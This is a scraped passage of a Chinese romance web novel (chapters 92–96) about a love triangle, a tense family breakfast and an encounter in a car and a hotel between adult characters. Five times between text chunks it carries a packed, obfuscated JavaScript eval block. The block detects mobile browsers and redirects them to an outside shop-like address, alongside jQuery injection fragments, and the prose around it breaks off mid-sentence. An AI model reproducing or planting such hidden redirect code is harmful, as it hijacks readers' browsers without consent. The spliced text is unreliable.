;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288964|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
机,“现在拍吗?”
“是啊,哎呦真帅,放心,随便拍拍都很帅啦。”
傅靳年拿着手机打开相机,对准自己匆匆拍了一张,递过去,“这张可以吗?”
丛晚盯着手机看了一眼,手挥成花了,眉眼都是笑意,“好看好看。”
她把照片给闺蜜发过去,又看向傅靳年,脸上的笑意深了深,“不白看,我给你看迟鹿小时候的照片吧?可多了。”
傅靳年轻咳了一声,眼神飘去看了一眼墙上的挂钟,“是啊,现在还挺早的,也没什么事......”
丛晚笑嘻嘻带着他去客厅,抱出五本相册集,“这是她幼儿园的,和小学的。”
傅靳年还没反应过来为什么只有幼儿园的和小学的,心里一心想着看照片。
先翻开了幼儿园的。
才三岁的小女孩还是胖嘟嘟的,脸上挂着婴儿肥,眼睛圆溜溜的,齐刘海,两个马尾像垂耳兔一样,穿着黄色的小裙子,抱着玩偶。
他指腹忍不住摸了摸,嘴角的弧度弯了弯。
丛晚坐在旁边,自豪得不行,“鹿鹿从小就可爱,路过的陌生人啊都要夸一句小孩好可爱好漂亮啊,哈哈。”
她拿出来给傅靳年看的都是女儿最可爱的时期的,像还在穿纸尿裤啊,开裆裤啊,刚生下来皱巴巴的样子都在另一边相册集上。
她势死维护女儿的形象!
傅靳年看着看着,从口袋掏出了手机,“能......拍照吗。”
“哎呦拍嘛。”丛晚笑得方言都说了出来,“可爱得很。”
傅靳年拍照后翻了一页,第二页脸上的笑容顿了一下。
小小的江迟鹿坐在地上,抱着一个比她大一点的小男孩。
他拿起手机拍照时,故意偏向另一边只拍了江迟鹿。
又翻了一页,还有那个小男孩......
他感觉有些碍眼,虽然客观上那个小男孩长得也很可爱,并不破坏画面。
但是......他心里有些阴暗想,要是站在江迟鹿旁边的是自己就好了。
翻完一整本下来,那个男孩子居然出场了80%。
他忍不住看向丛阿姨:“这个小男孩......是江迟鹿的哥哥?”
第九十二章 回家
丛晚会心一笑,开口道:“算是吧,只是两人不是亲生的,就是我跟你说过的邻居,一起长大的,算亲戚。”
丛晚没有跟他说两人虽然不是亲生的却似亲生的。
在她眼里,两人跟亲兄妹没什么区别。
傅靳年垂下眼睫,目光落在照片上的两人,明显的神色幽深许多。
丛晚对他的表现十分满意,坐在旁边又给他拿另外一本。
不管是哪一本,里面的祁柏言含金量都高达50%以上。
她很期待傅靳年的反应。
看完几本相册的傅靳年一句话都说不出了,手机上照片也拍了很多。
他关掉手机,站起身,“阿姨,我......回去睡觉了。”
丛晚笑着点头:“好,那你早点睡,好好休息,晚安。”
“阿姨晚安。”他垂着脑袋回了江迟鹿的房间。
躺在床上,脑海里思绪万千,闪过很多关于江迟鹿和那个男孩的照片,都是两人在一起玩又或者是抱在一起的。
明明都还是小孩,算不上什么过于亲密,但是心里就跟被蚂蚁噬咬一样。
他问过阿姨,有没有江迟鹿长大的照片。
他内心的想法很阴暗,他就是想看看那个人还在不在她的身边,最好不在了。
可惜丛晚说找不到了。
他拿出手机,一张一张看自己拍下来的照片。
他已经尽量不去拍那个男孩了,但是还是不可避免的从照片里面看到一些关于他的部分。
心里一股闷火没地方发泄,他恨恨关了手机,扯着被子将自己一整个盖住。
被子里有一股甜甜的香味,不知道是洗衣液的香味还是江迟鹿身上的。
傅靳年感觉和她身上的香味很像。
呼吸渐渐变得深了起来,他忍不住去嗅更多。
这个夜晚注定一夜难眠。
.......
天蒙蒙亮时,床上的一团翻动了一下。
紧跟着沙发上睡眠浅的人睁开眼睛,偏头看过去。
就看到一只手伸出来,随即是打哈欠的声音。
慵懒的伸了个懒腰,她睁开眼睛,昏沉沉的脑子慢悠悠反应过来,好像不太对劲,这个天花板......
不是自己宿舍,也不是自己家。
“嗯?”
“醒了?”男音从床尾传来。
她惊了一下,坐起来扯着被子,看到是祁柏言,松了口气,“我,我怎么会在你家里。”
她又看自己睡在祁柏言的床上,大脑发邪想到昨天自己貌似是喝醉了,抱着被子遮掩了半张脸,瞪大眼睛看着他。
祁柏言嘴角笑了一下,“你在担心什么?只是你喝醉了,在车上睡着了,我图方便就直接把你接回家了。”
江迟鹿抓了一把头发,“我没担心......”
当然,那种荒诞的想法确实在江迟鹿的脑子里存了片刻。
“怎么样?头疼吗?昨天给你喂醒酒汤,可费劲了。”他问。
江迟鹿晃晃脑袋,乱乱的发丝盖住脸,“不疼。”
“嗯,起床吧,不是说今天去阿姨家吃饭吗。”
江迟鹿点头,又看了一眼时间,“这是不是太早了?”
祁柏言往浴室的脚步顿住,他眼神垂下,“你昨晚睡得早,醒得也就早,正好去吃早饭吧。”
江迟鹿没去细究他这其中逻辑,打着哈欠应了一声,“好。”
祁柏言回头看她一眼,“去洗漱吧?”
两人洗漱好后也才七点,直接开车前往丛晚那了。
另一边,丛晚刚起床准备做早饭。
傅靳年从房间出来时她惊讶了一下,“小傅你起来这么早啊。”
“嗯,生物闹钟。”他声音带着刚醒的沙哑,语气是平时那种疏离淡然的嗓音,顿了一秒才反应过来似的补了一句,“阿姨,早上好。”
“哈哈早上好,你这孩子不赖床,挺好,迟鹿放假在家啊,不睡到十二点是绝对不会起床的。”
丛晚说着,盯着傅靳年,期待他的反应。
女儿虽然懒,但是傅靳年敢露出不满意的样子,她是会直接扣分的。
傅靳年的神情显然不是刚知道江迟鹿要睡懒觉的样子,**以为常道:“她爱熬夜,其实睡得也不久。”
能睡到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288965|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
十二点,估计是凌晨四点才睡。
她熬夜这个恶**很难改,傅靳年之前准时在十点抱着她睡觉,结果半夜醒来发现她在被窝里开着夜间模式看小说。
“是啊,她就是爱熬夜!怎么说都说不听,等哪天身体出问题了就知道了。”
她又说,“小傅你等一下啊,早餐在做了,马上好,吃了早餐再走啊。”
她说着往厨房跑,还不忘记回头看他,让他坐去餐桌,生怕他跑了似的。
傅靳年身上穿的还是那身有点小的睡衣,他跟着进厨房帮忙。
“呼......”楼道间,江迟鹿停在阶梯,气喘吁吁:“这才四楼我怎么这么累,我真的得快点找房子把我妈接过去了,爬楼梯也太累了。”
“你要找房子?”祁柏言在她前面两阶,停下拉她,抓着她的手腕往前,“不过阿姨身体素质可比你好多了。”
江迟鹿抬手挽耳边碎发,又加速往前迈了两阶,不着痕迹挣开他的手,“对啊,找稍微离公司近的,租个小两室把我妈接过去。”
她环顾一圈,这的环境连一般都算不上,墙上墙皮脱落得露出了水泥样,地上还有烟蒂。
祁柏言点点头,“我帮你找。”
江迟鹿看他一眼,“不用,我已经确定好几个地方了,价格什么的都挺合适的,你最近也忙,你放心,等我弄好了到时候还要麻烦你来暖房。”
“嗯。”祁柏言还想说些什么,顿了一下,有些犹豫。
江迟鹿看出他的意思,摆了摆手,“钱够的,我现在可是启恒CEO的助理,上面的总助年薪百万,平时还有不少人巴结他给他送礼,我呢,虽然现在还没打出名声,但也是跟CEO沾边的人了,前途一片光明。”
他看着她亮晶晶的小鹿眼充满幻想,忍不住跟着笑,“嗯,好期待江助做到年薪百万那一天,我是不是能跟着沾光了?”
江迟鹿抬抬下颌,眨眼:“那是当然。”
两人说说聊聊到了门口,江迟鹿给家里专门换了密码锁,便直接输入密码打算进去。
“滴滴滴......”
第九十三章 被发现了
推开门的那一刻,丛晚还试图挡在傅靳年面前,遮盖住祁柏言。
可惜,两个男人都比她高一个头。
门一开就对上眼。
江迟鹿心里咯噔一声,脑子是懵的,“你,你,你怎么在这?”
傅靳年的目光扫了她一眼,仍然放在祁柏言身上,“祁组长怎么在这?”
祁柏言垂下眼睫,没有解释。
江迟鹿大脑已经过载了,“他,他说有点工作上的事情找我。”
“工作上的事情找你?需要早上七点多跟着你回家?”傅靳年嘴角扯出的弧度像是在笑,却清冷得渗人。
“对......啊,很着急的工作,咳咳,我们都是很热爱工作的人。”
傅靳年眯了眯眸子,盯着她,震慑力不是一般的强。
江迟鹿一下子就败了下来,“我.......”
傅靳年看向丛阿姨,“阿姨,他就是照片里那个小男孩?”
江迟鹿顿了一下,倏地看向自家妈:“什么照片?你还给他看我小时候的照片了?”
简直是引狼**。
丛晚挠挠头,她也没想到两人会回来,而且还是这么早。
还一条消息也没给自己发!
以前要回来的时候不是都会提前说一声的吗。
“就看了幼儿园的和小学的,妈妈忍不住跟人炫耀吗,你多好看啊。”丛晚抓住女儿的手,试图唤回母女情分。
江迟鹿抽出手,呵呵一声,看着傅靳年身上的睡衣,咬牙切齿,“您不会还留宿他了吧。”
丛晚呼出一口气,偏了头不敢对上她的视线,“额,太晚了,这里离市中心又远,所以我才.......”
江迟鹿微笑:“妈妈,您真是我的好妈妈。”
两人在这边一来一回的,另一边的眼神也有来有回的。
两个男人无声的对峙。
直到江迟鹿抬手挥了挥,“那啥,要不我们先吃饭吧?”
她摸摸肚子,是真的有点饿了。
傅靳年垂睨下眼,盯着她,一字一句道:“你朋友圈的男朋友也是他?比你大四岁,自己带团队,跟你青梅竹马一起长大......”
每多说一个字,他的声音就更凉一分。
江迟鹿被他看得说不出话。
丛晚炸了!
“什,什么?”她的目光在江迟鹿和祁柏言之间来回转,“男,男朋友?你你你你和小言?你和小言?”
她听到这消息不亚于听到自己的儿子和女儿在一起了。
江迟鹿咬牙,皱着眉,深吸了一口气,“妈妈,我们是在一起过,对不起很抱歉这件事情没有跟你们说。”
“江迟鹿!”丛晚瞪大眼:“这种事你瞒着我?是什么时候的事情?”
祁柏言站出来解释,“阿姨,是我跟鹿鹿表白,然后她说跟我试一试的,在几个月前。”
丛晚听到在几个月前稍微松了口气。
两人谈恋爱,不怪她多想,刚刚那一下差点就给祁柏言定刑诱骗未成年了。
但是心里依旧缓不过来啊,“你们.......瞒着我做什么?”
虽然她可能一时是接受不了,但是......说实话,要真是祁柏言的话,只需要给她点时间接受。
祁柏言是她看着长大的,她都不用这观察那观察的打分了。
两人要是真心相爱,那祁柏延就是她的准女婿啊。
至于才看上的小傅.......
虽然也很好吧,但是还是自己看着长大的小言更让人放心啊。
傅靳年盯着祁柏言,心里的嫉恨是溢出来的,光是别的男人参与了江迟鹿从幼儿园到大学的完整人生,他就已经嫉妒得不行了。
可那个男人居然还是她男朋友。
丛晚感觉出来现场气氛的凝固,好像有点修罗场了。
小傅的心思她明白得很,现在......
丛晚想了一会儿,居然也只能拿出江迟鹿刚刚那套说辞,“那个,要不先吃饭?......我的饼要凉了。”
祁柏言面上从容微笑,“好,先吃饭吧,我也很久没吃到过阿姨的烙饼了。”
几人安静的围坐在餐桌前。
江迟鹿双手抓着个大饼,小心翼翼的咬,咀嚼,吞咽。
细微的吞咽声在这个落针可闻的家里显得异常明显。
明明各自吃着饭,却像在无声的交战。
丛晚拿着手机给女儿发消息。
-到底!你做了什么!
江迟鹿手机叮了一声。
两个低头吃东西的男人倏地抬头看向她。
落下目光,盯着她的手机,江迟鹿赶紧把手机关了。
扯着干笑,“这个饼,味道怎么样?”
丛晚也干笑:“哈哈哈,这个饼得配着胡辣汤才好吃,你们试试泡在里面。”
傅靳年:“谢谢阿姨。”
祁柏言:“谢谢阿姨。”
丛晚感觉自己脸疼,有点笑僵了,“不,不用谢。”
她又瞪了江迟鹿一眼。
江迟鹿瞪了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288966|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回去,要不是她让傅靳年住了一晚,根本就不会出现这种情况!
“阿姨,我吃好了。”傅靳年放下筷子,起身,“谢谢阿姨款待。”
他说完,看向江迟鹿,眼中的意思很明显。
江迟鹿的屁股像是被502胶水粘在椅子上了,丝毫不动。
傅靳年喉咙轻呵了一声,“我先回去了。”
这话仍旧是盯着江迟鹿说的。
江迟鹿装瞎子。
直到傅靳年从她身边过去,抓起她的手腕,带着人往外走,“有些事我需要跟江助好好聊一下。”
丛晚干咽口水,“好好....聊。”
两人离开,她目光看向祁柏言,“他不会动手吧?”
“不会的阿姨,他们......只是有些事需要一个结果,划上句号。”祁柏言看了一眼关上的门,垂下眸子。
丛晚吐出一口气,“吓死我了,小言你们回来怎么不说一声啊?你们要是提前跟我说一声,今天也不会出现这种事情了。”
“抱歉阿姨,我忘记了。”祁柏言道。
“唉......”丛晚担心完那边,目光定在祁柏言身上,开口问:“你和鹿鹿真的在一起过?”
她仍旧觉得不可思议,属于是把这事说给自己闺蜜听,估计都得被骂一句说梦话吧。
祁柏言依然是从容平和的样子,“抱歉阿姨,这件事一直瞒着你,但是......我对鹿鹿是真心的。”
丛晚看着他,静默片刻,“那.....她呢。”
他嘴角泻出一丝苦笑,“她如果也是的话,我们就不会分手了。”
说完,他放下筷子,态度郑重,“但是阿姨,我还是喜欢她,这不会变,不过你不用担心,我不会做没分寸的事情。”
“......”丛晚一句话也说不出来,大脑还处于信息过载。
......
老旧居民楼外的停车区,格格不入的一辆迈巴赫停在一片大众中。
车内,傅靳年坐在驾驶座,江迟鹿缩着脖子坐在副驾驶座。
她的眼神垂在地上,男人则是直勾勾盯着她。
终于,她憋不住了,开口道:“要不你先抽根烟冷静?”
“你觉得我现在还不够冷静?”他脸上不知是笑还是嘲。
“那......事情你也都知道了,你还想听我说什么?”
“为什么偏偏瞒着我这件事?”他半眯着眸子,“你是故意的,但是我想不明白故意骗我的理由。”
第九十四章 第二次深入沟通
“理由?”她喉咙一梗,“你想听什么理由?”
“我想听什么理由?”男人唇角扯了一下,冷声道:“你还打算随便瞎编一个理由来骗我吗?”
“......”她低着头,手抓着衣服布料搅在一起,心脏跳动得有些快,“理由我早就告诉过你。”
她抬头,盯着他,“刚开始就和你说过。”
傅靳年盯着她,呼吸沉了沉,“你是说.....你要钓金龟婿的那个理由?”
“怎么,你不相信吗?”她看向窗外,“我的确是这么想的,你看看这里,环境怎么样?连公司的员工宿舍都比不上,我现在的想法就是赶紧找个房子把我妈接走,让她住上好房子。”
她抬眼,见男人俊挺的眉心皱着,笑了,“不知道傅总现在还能不能理解我这种心情。”
“江迟鹿。”他抬手,从外套拿出钱包,将里面的卡全部一一摊开,“如果你真的是冲着钱,那更不应该对我撒这种谎了,你也说过,谁金得过我?”
“我不敢。”她依旧是心虚地看向窗外,“你......太金了,我不敢,我要个小金的就行了。”
男人被她气笑,“你不敢......”
她明明胆子大得很。
“我当然不敢了。”江迟鹿垂着头道,“我还什么都没做,就处处被你的未婚妻针对,你觉得我还敢做什么吗?”
她的声音挺轻的,带点委屈。
她承认,自己是故意搬出这么绿茶的一句。
实在是傅靳年现在太吓人,她想让他顾及一下自己可是因为他被针对的。
驾驶座上的人这下确实安静了。
他看向江迟鹿的目光带着某种不可名状的情绪,眼底深的像湖。
“对不起。”一道轻声的道歉撩过她耳边,“但是,我要纠正,她不是我未婚妻,一直都不是,两家确实谈过联姻的事情,但是我拒绝了,我没有过未婚妻。”
“你拒绝......”她嗓音卡了一下,片刻后开口:“有些事也不是你拒绝就行的吧。”
男女主之间的羁绊怎么可能这么容易就斩断。
就算中间发生各种挫折,最后也会是圆满结局。
“如果我现在在傅氏总部,我确实没有资格拒绝家里安排的婚姻,但是我选择进入启恒,打赌让启恒的营业额翻倍,就是为了......能选择。”
“选择?你今天这么着急的想要我跟你解释,不会是......还喜欢我?还没忘记我?还是说......”她扯着嘴角,恶劣的笑了一下,“你没睡够我?”
“滴——”一声喇叭惊得树上雀鸟肆飞。
他压在方向盘上的手十分用力,青筋凸出。
身边的人却丝毫不收敛,“也是,毕竟我们也只睡过一次。”
“江迟鹿,你一定要这样跟我说话?”他的呼吸在车内极其明显,被气得不轻。
“哪样说话?我说对了?”她声音轻而懒,就跟开玩笑似的,“如果真是这样,以傅总的颜值和身材,我还真不介意再和你来一场......”
她话没有说完,被男人手掌捂住了嘴,“不许再说了。”
四目相对,她眼睫颤了颤,心里骂了一句,他为什么生气也这么帅。
她握住他的手,扯下去,倾身抱住他脖颈,一个吻落在他的唇瓣。
先是轻碰在上面,又咬了一下他。
自上而下的眼神垂睨在她面庞,面无表情,尚且带着怒意。
她抱着他退后了一些,勾唇笑道:“您要是真这么渴望我,报酬够的话.....”
她凑到他耳边,气息如兰,“我不介意面向您一对一加班。”
她看到傅靳年咬肌鼓了鼓,她装作没看出他的生气,反而埋进他的脖颈,“我要的报酬嘛,公司附近一套房,傅总应该给得起吧。”
空气静默许久。
她感觉身体都有些僵了。
在她正要松开他时。
一只带着温度的手压在了她腰上,指腹用力的压在她的肉上,温度透过单薄的衣物传到她的皮肤上,极强的存在感。
她顿了一下,身体更僵了,没敢动。
耳廓突然被一阵热气撩过,“车上,还是去酒店?”
他语言简洁,声音带着点
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288967|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
力度,一字一句很清晰。
江迟鹿却卡壳了。
他不是应该生气的把自己推开然后骂自己拜金虚荣,最后再来一句我当初真是眼瞎了才跟你谈恋爱吗。
为什么会突然变成这样?
明明刚刚气得咬牙切齿的,她看到他忍耐得喉结都滚了好几次。
“不回答?”他的手握着她的腰,将人从副驾驶抱到了身上,“那就车上。”
江迟鹿倏地捂住他的嘴,“你疯了吧。”
“不是你说的吗,不介意一对一加班。”他盯着她的眸子很沉,像是要把人吞了似的,声音淡冷,“那就......麻烦江助加个班。”
他一只手握着她的腰,另一只手扯开她捂在自己脸上的手腕。
看样子像是要来真的,江迟鹿吓得上身不断地后倾,死命抵在方向盘上,双手撑在他胸膛,闭着眼睛喊出了“酒店。”
这两个字刚落下,她在心里骂了句脑残。
这种时候拖延时间有用吗?
然而,傅靳年并不是听话的人。
他的手从她的背上伸进了衣服里面。
贴着她的皮肤摩挲,江迟鹿浑身一个激灵,感觉热热的。
她这下是真的慌了。
因为她感受到,他好像不是吓唬她。
“你上次问我的暧昧对象。”男人嗓音透着喑哑,低声道:“我说包括你在内没有。”
他的手覆在她后颈,以绝对的掌控将人压近自己,唇瓣相抵接吻。
两唇摩擦,又是蹭又是缠,和凝重的气氛不同的是,这是个温柔缱绻的吻。
松开时拉出暧昧的银丝,他睨向她的眼底透着欲,“现在纠正一下,包括你在内,有一个。”
他压着她的后脑勺继续跟她接吻。
在这个期间,江迟鹿大概是因为缺氧脑子不好使了,居然没有反抗。
她出来的急,身上只有单薄的一件针织毛衣打底,柔软的羊绒衫弹性很大,一只手伸进去,抚过她的蝴蝶骨。
她的傻脑子终于反应过来。
她作为一个恶毒女配,现在坐在男主的身上,两人要进行第二次深入沟通。
第九十五章 加班
“不......”刚冒出一个字,她的声音被吻堵住。
他手上的力度不小,很明显的在故意折腾她。
她的皮肤肯定红了。
在湿热的呼吸纠缠中,他的手按了一个地方,座椅的高度在下降,倾倒的过程中,两人也在往后倒。
不知道是谁的手机铃声一直在响,一个是不管,另一个是两只手都被抓住管不了。
在座椅彻底平躺时,他翻身将她压在了身下,江迟鹿这下感觉到了,是自己的手机在响。
“手.......”她刚冒出一个音,被人堵住,蛮狠霸道。
江迟鹿这下是真的着急了。
她的确前不久产生过要抢傅靳年的想法,但她完全还没有想好,她还没有准备好承受后果。
当然不能莫名其妙地又跟人搞在一起。
但是......四肢好软,使不上力。
他......为什么这么会吻。
第二道手机铃声又响了,江迟鹿懵懵的脑子反应过来,牙齿咬在他舌尖。
“嘶......”有淡淡的血味在两人口腔弥漫。
江迟鹿摸出自己的手机。
打电话来的是祁柏言。
她还没想好要不要接通,另一只**过她手机。
“诶你干嘛。”她伸手要去抢,他将她两只手反压在头顶,淡淡扫了一眼她的手机,唇角的弧度轻微扯了一下,“要接吗?要让他知道我们现在在做什么吗?”
他哂了一句,“一切都恰恰好,他应该也着急让我知道你们的关系吧。”
那货肯定是在想,他知道后和江迟鹿吵一架,最好死心再不往来。
刚刚,他确实很生气,但是一想到要按照那个姓祁的想法走,他顿时又冷静了。
既然江迟鹿都说那么狠的话了,那他为什么不能顺势而为,不管是什么关系,总之先沾上关系。
“你什么意思,他没你那么阴暗好吗。”江迟鹿皱着眉,脑中却在细想。
她早上洗漱的时候跟祁柏言说过,记得跟丛晚说一声他们要过去吃早饭。
可到家时那样子,很明显丛晚并不知道他们要回去。
“没我阴暗.....”他眼神眯了眯,“行,我阴暗,那我今天就让你单纯善良的竹马哥哥知道,什么叫阴险小人。”
他挂断电话,将手机关机。
江迟鹿瞪着她,下一秒捂住自己已经微肿的嘴巴,“外......外面会有人路过的。”
他挑了下眉,语气淡然,“是吗?那你轻点叫。”
“我叫你妈!”江迟鹿怒了。
“不如叫爸。”他单手解开了身上的睡衣钮扣,想到什么,还挺有闲致地跟她聊天,“你刚刚闻到了吗?衣服上的味道和你一样。”
他将睡衣脱掉丢在旁边,那只手捏住她的下巴,“昨天晚上我还睡的你的床。”
“你个变态!”
“你想什么呢,我什么也没做。”他像是读懂她眼神里的话,笑道:“我没有那么猥琐。”
他脱了自己的,又开始脱江迟鹿的了。
江迟鹿身上就那么一件,他裸了没关系,她可不想。
“我......我错了。”她赶紧认怂,“我真的错了,我......刚刚就是跟你开个玩笑,你别这样......”
男人冷笑,睨在她身上的眼神仿佛带着温度一样,扫到哪,哪就热起来。
江迟鹿偏着头,就差把自己的下巴埋进锁骨里,闭着眼睛连看都不敢看他,但是脑子里依旧是他裸着上身的样子。
他应该是加练了吧,感觉肌肉比之前厚实了,更明显了.....
他干嘛一直按着她的手啊,不然还可以趁乱摸一把......靠,这都什么情况了她脑子里还在想趁乱摸一把。
马上就要乱成一锅粥了!
她睁开眼睛,认真诚恳的道歉,“我真的知道错了。”
傅靳年看着她的眼神却突然变了样。
他将人扶起来,又扯着纸巾往她鼻子上压。
直到纸巾都染红了,江迟鹿才反应过来——她流鼻血了。
“身体哪里不舒服?”他说着,托着她的腰把人抱起来放去了副驾驶,“撑一下,这里最近的医院应该要半小时。”
江迟鹿盯着纸巾染红了一大片,人还愣愣的。
傅靳年皱着眉,着急的开车,抽空看她一眼,“最近经常流鼻血?”
他语气有些着急。
江迟鹿张了张口,想说自己的鼻血可能是因为他的腹肌流出来的,但是看傅靳年恢复正常的样子,她闭了嘴,委屈的点头,“嗯嗯。”
傅靳年卡着车速连超了三辆车,又问:“身体还有哪里不舒服?去医院检查过吗?医生怎么说?”
她捏着纸巾堵住自己鼻孔,开口道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288968|198485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“还没去看。”
傅靳年眉心狠拧了一下,呼吸一沉:“为什么不去看?”
江迟鹿伸手又连续抽了好几张纸巾,将自己整张脸都埋进了纸巾里,没有回他的话。
车开了一会儿,傅靳年盯着她,“现在还好吗?身上有没有地方难受?”
江迟鹿静默了一下,耳朵变得很红,声音平稳:“挺好,没有。”
傅靳年瞥了她一眼,“怎么脸这么红,发烧了吗?”
他说着,伸出一只手摸她额头。
江迟鹿坐在那,等他探测完温度,落下车窗将脸面向窗外吹风降温。
“温度还好......”傅靳年嘀咕了一声。
到医院,拿号,抽血检查,医生问诊一系列后,得出结果是江迟鹿身体很健康。
“我刚刚看了检查单,身体状况挺好的,没什么事。”医生看着傅靳年,“可能是有点上火。”
傅靳年蹙了蹙眉,“她说最近经常流鼻血。”
“经常?”医生看向江迟鹿。
江迟鹿顿了一下,开口道:“其实也不是很经常,就两三次,可能是因为我最近红枣吃多了!上火了。”
从医院出来后,傅靳年不放心,坐在驾驶座给人打电话,似乎是找中医。
江迟鹿坐在副驾驶,等他挂了电话,弱弱开口:“真的就是上火了,我没什么事。”
“没事?”他盯着她,“真的?那我们继续......”
“啊,看中医吧,不看我不放心。”她捂着自己的鼻子,“还是看一下中医保险,开车吧开车吧。”
傅靳年却没动,他盯着她,“江迟鹿,你......不会是因为......”
“不是!”她惊了一跳,“你想什么呢,我没有饥渴到那种地步好吗?而且.....而且你的身体也没有性感到我看了几眼就流鼻血的程度。”
她着急澄清自己的清白,谁想又给自己挖了一个大坑。
傅靳年盯着她,眸色幽沉深邃,“我什么也没说。”
江迟鹿:......这货又套她话。
“哼。”他轻笑了一记,懒声道:“看来不用找中医了。”
“那,我们现在回去?”江迟鹿试探着问。
傅靳年开车调转方向,手搭在方向盘上敲了敲,语气懒散:“江助,你记性好像很差,刚刚不是说了吗?我们要一对一加班。”
第九十六章 “她是你叫来的?”
xx酒店的顶层套房,浴室传出哗啦啦的水声。
江迟鹿慢吞吞地往身上涂沐浴露,时不时目光看向门外。
“靠,来真的啊。”
她抬起头,冲洗掉身上的沐浴露,抹了一把脸。
白皙皮肤冲洗过后莹润透粉,但她的脸色一脉沉冷,擦干身上,裹上酒店准备的浴袍。
她静悄悄地打开浴室门,透过门缝,看到傅靳年懒散坐在沙发上,身上和自己是一样的浴袍,手里夹着一支没点的烟,深邃的眉骨落了一层阴影,他盯着地板,不知道在想什么。
这一幕**迟鹿偷拍下来。
她将照片发给苏轻,后面还跟了酒店地址以及房间号。
做完这些,她才推门出去。
酒店是现代轻奢风格,地面通铺了大尺寸的深灰色大理石瓷砖,中央是一块浅灰色的大尺寸地毯,上面摆放着一张方形大理石茶几,除了沙发,周围围绕着三个不同颜色的皮质方墩。
她慢慢走过去,坐在了离傅靳年最远的米白色方墩上。
坐下后,她的目光放在落地窗上。
落地窗占据了整面墙,墙外是清晨白雾中的城市景色。
“坐过来。”他嗓音清冽,低沉又克制。
江迟鹿扯了下嘴角,“这大白天的,是不是有点不合适?”
“窗帘拉上就黑了。”他说着起身,在触屏那按了一下,自动窗帘就关上了。
随即又把灯关了。
“去床上。”他语调平淡无波,却自带一种不容置疑的压迫感。
江迟鹿拽了一下浴袍领口,两腿磨蹭到床边,还没站好,后面的人手掌压在她的背上,直接将她推倒在床上。
随即是一道沉重的身体压在她身上,一只手在她腰上游走。
江迟鹿咬了下唇,语气轻软,“好好做前戏,不然我会疼。”
刚说完,下巴被人掐着往上抬,对上他偏深的瞳色,眼尾微垂,沉沉地锁住她,带着慑人的气场。
“你很懂?”他拇指压在她的唇上,细致地描绘,带着温度滑过每一寸。
江迟鹿抓着他腰身上的带子,指尖微微蜷缩,心跳莫名快了半拍,眼神不敢与他对视。
“我也是会进步的好不好。”她说完,手心沁出薄汗,脸颊一点点烧了起来。
“好啊,你动。”他声音漫不经心,带着笑意,格外撩人,“我看你进步了多少。”
“......”她眼神飘向门口,等待几秒后,抱住傅靳年的脖子,亲在他锁骨上。
他的皮肤散发着淡淡的橙香,干净清冽,是酒店的沐浴露味道,和她身上的是一样的,有些甜腻。
“就这样?”头顶一道闷笑,带着几分慵懒的散漫。
江迟鹿心一横,张口咬住他,咬出一道红印,又扬起下巴,柔软的唇亲在他喉结上。
突兀的喉结滚了滚,放在她腰上的手动了动,擦过她的皮肤。
接着,他低头和她接吻。
在这个激烈的五分钟深吻结束后,江迟鹿喘着气,面色微红,唇瓣也有些微肿。
她迷离的眼神刚抬了一下,看到男人拉开了浴袍带子,腹肌从敞开的浴袍中露出......腹肌线条紧实流畅,肌理分明,不显壮硕,却在呼吸的起伏中藏着沉稳的爆发力。
她浑身紧绷,双手放在胸口,干咽口水。
